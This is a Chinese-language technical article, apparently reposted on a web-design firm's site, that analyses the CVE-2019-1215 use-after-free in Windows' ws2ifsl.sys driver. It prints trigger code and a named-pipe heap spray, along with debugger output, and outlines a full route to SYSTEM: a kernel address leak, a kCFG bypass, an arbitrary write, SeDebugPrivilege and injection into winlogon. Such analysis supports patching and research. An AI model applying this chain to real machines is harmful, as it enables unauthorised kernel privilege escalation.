网站建设、公众号开发、微网站、微商城、小程序就找牛创网络 !

7*24小时服务专线: 152-150-65-006 023-68263070 扫描二维码加我微信 在线QQ

漏洞公告团结互助,让我们共同进步!

当前位置:主页 > 技术资讯 > 网络安全 > 漏洞公告 >

我们的优势: 10年相关行业经验,专业设计师量身定制 设计师一对一服务模式,上百家客户案例! 企业保证,正规流程,正规合作 7*24小时在线服务,售后无忧

CVE-2019-1215漏洞成因分析:用后释放漏洞,ws2ifsl.sys中,实现本地提权

文章来源:重庆网络安全 发布时间:2020-02-10 11:10:42 围观次数:
分享到:

摘要:分析用后释放漏洞(CVE-2019-1215)成因,该漏洞存在于ws2ifsl sys中,一旦成功利用,攻击者将有可能实现本地提权。在Windows 10 19H1(1903)x64平台上进行测试。

 分析用后释放漏洞(CVE-2019-1215)成因,该漏洞存在于ws2ifsl.sys中,一旦成功利用,攻击者将有可能实现本地提权。在Windows 10 19H1(1903)x64平台上进行测试。


ws2ifsl简介


  ws2ifsl组件是与winsocket相关的驱动程序。 该驱动程序可以实现两个对象:

  处理对象

  socket对象


  该驱动程序实现了几个调度程序。 调用NtCreateFile时,文件名将设置为\ Device \ WS2IFSL \,并且将调用DispatchCreate函数。 该函数将基于文件名中的_FILE_FULL_EA_INFORMATION.EaName字符串进行判断。 如果是NifsPvd,则将调用CreateProcessFile;如果是NifsSct,则将调用CreateSocketFile。


  CreateSocketFile和CreateProcessFile函数均创建称为“ procData”和“ socketData”的内部对象。 创建后,这些对象将保存在文件对象的_FILE_OBJECT.FsContext中,该文件对象是在dispatch routine中创建的。


  可以在用户模式下访问文件对象,这是从NtCreateFile返回的句柄对象。 该句柄可用于执行DeviceIoControl或调用WriteFile。  “ procData”和“ sockedData”对象不直接引用ObfReferenceObject和ObfDereferenceObject,而是引用基础文件对象。 另外,驱动程序实现两个APC对象:“request queue”和“cancel queue”。  APC机制在另一个线程中异步执行函数。 由于可以在另一个线程中实施多个APC,因此内核实现了一个队列,该队列存储了所有要执行的APC。


  “ procData”对象包含这两个APC对象,由CreateProcessFile在initializerqueue和InitializeCancelQueue中进行初始化。  APC对象由KeInitializeApc初始化,并接收目标线程和函数作为参数。 此外,还设置了处理器模式(内核或用户模式)和RundownRoutine。 如果是ws2ifsl,则RundownRoutine为RequestRundownRoutine和CancelRundownRoutine,并且处理器模式设置为用户模式。 这些RundownRoutines用于清理,如果线程在APC内部执行之前有机会死亡,则内核会调用它们。 发生这种情况是因为APC仅在设置为警报状态时才进入线程执行该线程。 例如,如果在调用SleepEx时将第二个参数设置为TRUE,则可以将线程设置为警报状态。


  该驱动程序还在DispatchReadWrite中实现了一个读写调度程序,并且只能访问socket对象。 它还可以调用DoSocketReadWrite。 该函数通过调用SignalRequest函数并使用nt将APC元素添加到APC队列中!  KeInsertQueueApc函数。


  与驱动进行通信


  在某些情况下,驱动程序将自动创建一个符号链接,其名称可用作CreateFileA的文件名,但ws2ifsl并非如此。 仅当nt的DeviceName时才能调用它!  IoCreateDevice设置为“ DeviceWS2IFSL”。 但是,我们通过调用本地API NtOpenFile,就可以访问派遣函数ws2ifsl!DispatchCreate了。 相关代码如下:

HANDLE fileHandle = 0;

UNICODE_STRING deviceName;

RtlInitUnicodeString(&deviceName, (PWSTR)L"\\Device\\WS2IFSL");

OBJECT_ATTRIBUTES object;

InitializeObjectAttributes(&object, &deviceName, 0, NULL, NULL);

IO_STATUS_BLOCK IoStatusBlock ;

NtOpenFile(&fileHandle, GENERIC_READ, &object, &IoStatusBlock, 0, 0);

DispatchCreate函数检查调用的扩展属性,该扩展属性只能通过NtCreateFile系统调用进行设置。


  对于process对象,扩展属性(ea)数据缓冲区必须包含属于当前流程的线程句柄。 稍后将使用此线程句柄。


  补丁分析


  首先,我们需要比较ws2ifsl的未修复版本(10.0.18362.1)和修复的版本(10.0.18362.356)。


  如下:

CreateProcessFile

DispatchClose

SignalCancel

SignalRequest

RequestRundownRoutine

CancelRundownRoutine

blob.png

修复后的版本多了一个函数:


  DereferenceProcessContext

  其中最明显的是,所有修复后函数都包括对新函数DereferenceProcessContext的调用:

blob.png

将新成员添加到“ procData”对象,并使用引用计数。 例如,在负责所有初始化的CreateProcessFile中,此新成员设置为1。


  旧版本:

procData->tag = 'corP';

*(_QWORD *)&procData->processId = PsGetCurrentProcessId();

procData->field_100 = 0;

  新版本:

procData->tag = 'corP';

*(_QWORD *)&procData->processId = PsGetCurrentProcessId();

procData->dword100 = 0;

procData->referenceCounter = 1i64; // new

DereferenceProcessContex函数将检查引用计数并调用nt!ExFreePoolWithTag。


  新版本的DispatchClose函数将从调用nt!ExFreePoolWithTag更改调用DereferenceProcessContext,也就是说,如果引用计数不为零,则不会释放“ procData”,并且其引用计数将减一。


  修复后SignalRequest将在调用nt!KeInsertQueueApc之前增加referenceCounter。


  该漏洞存在是因为,即使您请求队列中已经有一个APC,DispatchClose函数仍可以释放“ procData”对象。 每当关闭对文件句柄的最后一个引用时(通过调用CloseHandle),都会调用DispatchClose函数。


  新版本使用新的referenceCounter来确保在删除最后一个引用之前不释放缓冲区。 如果它是RundownRoutine(包括引用),请在函数末尾删除DereferenceProcessContext引用,并在调用nt!KeInsertQueueApc之前将引用计数加1。 如果发生错误,该引用也将被删除(以避免内存泄漏)。


  漏洞触发


  要触发此漏洞,我们首先创建一个“ procData”句柄和一个“ socketData”句柄,然后将恶意数据写入“ socketData”并关闭两个句柄。 接下来,线程将终止对APC RundownRoutine的调用并处理释放的数据。


  漏洞触发代码:

<..>

in CreateProcessHandle:

 

    g_hThread1 = CreateThread(0, 0, ThreadMain1, 0, 0, 0);

    eaData->a1 = (void*)g_hThread1; // thread must be in current process

    eaData->a2 = (void*)0x2222222;  // fake APC Routine

    eaData->a3 = (void*)0x3333333;  // fake cancel Rundown Routine

    eaData->a4 = (void*)0x4444444;

    eaData->a5 = (void*)0x5555555;

     

    NTSTATUS status = NtCreateFile(&fileHandle, MAXIMUM_ALLOWED, &object, &IoStatusBlock, NULL, FILE_ATTRIBUTE_NORMAL, 0, FILE_OPEN_IF, 0, eaBuffer, sizeof(FILE_FULL_EA_INFORMATION) + sizeof("NifsPvd") + sizeof(PROC_DATA));

    DWORD supSuc = SuspendThread(g_hThread1);

<..>

in main:

 

HANDLE procHandle = CreateProcessHandle();

HANDLE sockHandle = CreateSocketHandle(procHandle);

 

char* writeBuffer = (char*) malloc(0x100);

     

IO_STATUS_BLOCK io;

LARGE_INTEGER byteOffset;

byteOffset.HighPart = 0;

byteOffset.LowPart = 0;

byteOffset.QuadPart = 0;

byteOffset.u.LowPart = 0;

byteOffset.u.HighPart = 0;

ULONG key = 0

 

CloseHandle(procHandle);

 

NTSTATUS ret = NtWriteFile(sockHandle, 0, 0, 0, &io, writeBuffer, 0x100, &byteOffset, &key);

在DispatchClose版本中设置一个断点,我们将看到:

Breakpoint 2 hit

ws2ifsl!DispatchClose+0x7d:

fffff806`1b8e71cd e8ceeef3fb      call    nt!ExFreePool (fffff806`178260a0)

1: kd> db rcx

ffffae0d`ceafbc70  50 72 6f 63 00 00 00 00-8c 07 00 00 00 00 00 00  Proc............

1: kd> g

Breakpoint 0 hit

ws2ifsl!RequestRundownRoutine:

fffff806`1b8e12d0 48895c2408      mov     qword ptr [rsp+8],rbx

0: kd> db rcx-30

ffffae0d`ceafbc70  50 72 6f 63 00 00 00 00-8c 07 00 00 00 00 00 00  Proc............

因为procData对象已被释放,所以RundownRoutine将处理释放的数据。 通常,由于没有重新分配数据块,因此此时不会发生崩溃。


  接下来,让我们看看如何利用此漏洞。


  首先,我们需要知道缓冲区和分配池的大小。


  在要释放的缓冲区上使用pool命令,我们可以看到它在大小为0×120字节的Nonpaged pool分配。

1: kd> !pool ffff8b08905e9910

Pool page ffff8b08905e9910 region is Nonpaged pool

<..>

*ffff8b08905e9900 size:  120 previous size:    0  (Allocated) *Ws2P Process: ffff8b08a32e3080

        Owning component : Unknown (update pooltag.txt)

查看ws2ifsl!CreateProcessFile中分配的缓冲区,我们可以看到:

PAGE:00000001C00079ED mov     edx, 108h       ; size

PAGE:00000001C00079F2 mov     ecx, 200h       ; PoolType

PAGE:00000001C00079F7 mov     r8d, 'P2sW'     ; Tag

PAGE:00000001C00079FD call    cs:__imp_ExAllocatePoolWithQuotaTag

以下代码可用于为多个0x120字节缓冲区分配用户控制的数据:

int doHeapSpray()

{

    for (size_t i = 0; i < 0x5000; i++)

    {

        HANDLE readPipe;

        HANDLE writePipe;

        DWORD resultLength;

        UCHAR payload[0x120 - 0x48];

        RtlFillMemory(payload, 0x120 - 0x48, 0x24);

 

        BOOL res = CreatePipe(&readPipe, &writePipe, NULLsizeof(payload));

 

        res = WriteFile(writePipe, payload, sizeof(payload), &resultLength, NULL);

    }  

    return 0;

}

如果我们将此堆喷射注入合并到漏洞触发代码中,则可以在nt!KiInsertQueueApc中触发漏洞检查,并且程序崩溃是由“liked list”操作引起的。

.text:00000001400A58F6 mov     rax, [rdx]

.text:00000001400A58F9 cmp     [rax+_LIST_ENTRY.Blink], rdx

.text:00000001400A58FD jnz     fail_fast

<..>

.text:00000001401DC2EA fail_fast:                              ; CODE XREF: KiInsertQueueApc+53↑j

.text:00000001401DC2EA                                         ; KiInsertQueueApc+95↑j ...

.text:00000001401DC2EA                 mov     ecx, 3

.text:00000001401DC2EF                 int     29h             ; Win8: RtlFailFast(ecx)

在命令int 29上执行错误检查。当检查发生崩溃的寄存器时,我们可以看到RAX寄存器指向我们控制的数据。

rax=ffff8b08905e82d0 rbx=0000000000000000 rcx=0000000000000003

rdx=ffff8b08a39c3128 rsi=0000000000000000 rdi=0000000000000000

rip=fffff8057489a2ef rsp=ffffde8268bfd4c8 rbp=ffffde8268bfd599

 r8=ffff8b08a39c3118  r9=fffff80574d87490 r10=fffff80574d87490

r11=0000000000000000 r12=0000000000000000 r13=0000000000000000

r14=0000000000000000 r15=0000000000000000

 

0: kd> dq ffff8b08905e82d0

ffff8b08`905e82d0  24242424`24242424 24242424`24242424

ffff8b08`905e82e0  24242424`24242424 24242424`24242424

ffff8b08`905e82f0  24242424`24242424 24242424`24242424

ffff8b08`905e8300  24242424`24242424 24242424`24242424

ffff8b08`905e8310  24242424`24242424 24242424`24242424

ffff8b08`905e8320  24242424`24242424 24242424`24242424

ffff8b08`905e8330  24242424`24242424 24242424`24242424

ffff8b08`905e8340  24242424`24242424 24242424`24242424

导致崩溃的调用栈如下:

0: kd> k

 # Child-SP          RetAddr           Call Site

00 ffffb780`3ac7e868 fffff804`334a90c2 nt!DbgBreakPointWithStatus

01 ffffb780`3ac7e870 fffff804`334a87b2 nt!KiBugCheckDebugBreak+0x12

02 ffffb780`3ac7e8d0 fffff804`333c0dc7 nt!KeBugCheck2+0x952

03 ffffb780`3ac7efd0 fffff804`333d2ae9 nt!KeBugCheckEx+0x107

04 ffffb780`3ac7f010 fffff804`333d2f10 nt!KiBugCheckDispatch+0x69

05 ffffb780`3ac7f150 fffff804`333d12a5 nt!KiFastFailDispatch+0xd0

06 ffffb780`3ac7f330 fffff804`333dd2ef nt!KiRaiseSecurityCheckFailure+0x325

07 ffffb780`3ac7f4c8 fffff804`332cb84f nt!KiInsertQueueApc+0x136a87

08 ffffb780`3ac7f4d0 fffff804`3323ec58 nt!KiSchedulerApc+0x22f

09 ffffb780`3ac7f600 fffff804`333c5002 nt!KiDeliverApc+0x2e8

0a ffffb780`3ac7f6c0 fffff804`33804258 nt!KiApcInterrupt+0x2f2

0b ffffb780`3ac7f850 fffff804`333c867a nt!PspUserThreadStartup+0x48

0c ffffb780`3ac7f940 fffff804`333c85e0 nt!KiStartUserThread+0x2a

0d ffffb780`3ac7fa80 00007ff8`ed3ace50 nt!KiStartUserThreadReturn

0e 0000009e`93bffda8 00000000`00000000 ntdll!RtlUserThreadStart

在上面的代码中,错误检测是由主线程的突然终止触发的。 发生这种情况是因为我们销毁的APC仍在队列中,并且断开连接操作可以处理损坏的数据。 由于前向指针和后向指针已损坏,并且未指向有效的链接列表,因此将触发安全断开连接检查。


  KeRundownApcQueues


  我们需要将已发布的APC元素转换为有效内容。 触发错误并重写旧的“ prodata”后,我们需要退出APC队列的线程。 此时,内核将调用nt!  KeRundownApcQueues函数并检查nt!  KiFlushQueueApc!。


  此时,我们可以控制缓冲区的内容,并且可以避免安全异常,因为链接列表的有效指针使用指向“ kthread”的值进行检查。 如果我们以中等完整性级别运行,则使用SystemHandleInformation调用NtQuerySystemInformation可能会泄漏“ kthread”地址。 如果我们使用“ kthread”地址来创建回收的“ procData”和nt!  KeRundownApcQueues尝试在“ procData”对象中执行用户控制的函数指针,因此可以避免触发错误检查。


  旁路kCFG


  在控制了要执行的函数的指针之后,有一个小的障碍需要克服。 在中等完整性级别,可以通过NtQuerySystemInformation / SystemModuleInformation泄漏所有已加载模块的基地址。 因此,我们现在至少知道执行可以移到哪里。


  但是,APC函数指针调用由Microsoft实现的CFI内核控制流控制。 如果我们调用随机ROP gadge,则内核将引发错误检查。


  幸运的是,从CFG角度来看,函数序言是有效的分支目标,因此我们知道无需停止就可以调用什么。 调用nt! KeRundownApcQueues函数指针,第一个参数(rcx)指向“ procData”缓冲区,第二个参数(rdx)为零。


  我们可以使用的另一种可能性是通过调用本机函数NtTestAlert来调用APC函数指针。


  使用NtTestAlert调用APC函数指针时,第一个参数(rcx)指向“ procData”缓冲区,第二个参数(rdx)也指向它。


  在查找了一些小的功能并根据给定的约束执行操作后,我们找到了一个合适的对象:nt!  SeSetAccessStateGenericMapping。


  如下图所示,nt!  SeSetAccessStateGenericMapping可用于执行任意16字节写入:

blob.png

但是,这16个字节的后半部分没有完全控制,但是前8个字节是基于堆喷射提供的数据。


  在Windows的旧版本中,有许多技术可以将任意写入操作转换为完整的内核读取和写入原语。 最简单的方法是在启用所有位的情况下覆盖此结构的Present和Enabled成员。 这将使我们获得SeDebugPrivilege特权,使我们能够将代码注入到具有高度特权的进程中,例如“ winlogon.exe”。


  获取系统权限


  一旦将代码注入到系统进程中,就可以运行“ cmd.exe”并获得一个交互式外壳。 同时,我们避免了许多问题,例如kCFG和SMEP,因为我们没有在错误的上下文中执行ROP或执行任何ring0代码。


本文由 重庆网络安全 整理发布,转载请保留出处,内容部分来自于互联网,如有侵权请联系我们删除。

相关热词搜索:CVE-2019-1215 漏洞成因分析 用后释放漏洞 ws2ifsl sys 本地提权 重庆网络安全

上一篇:Sudo漏洞(CVE-2019-18634):在某些配置下,它可能允许低特权用户或恶意程序在Linux或macOS系统上以root用户身份执行命令。
下一篇:Apereo CAS 4.X反序列化漏洞:存在于登录的execution参数,漏洞分析及复现

热门资讯

鼠标向下滚动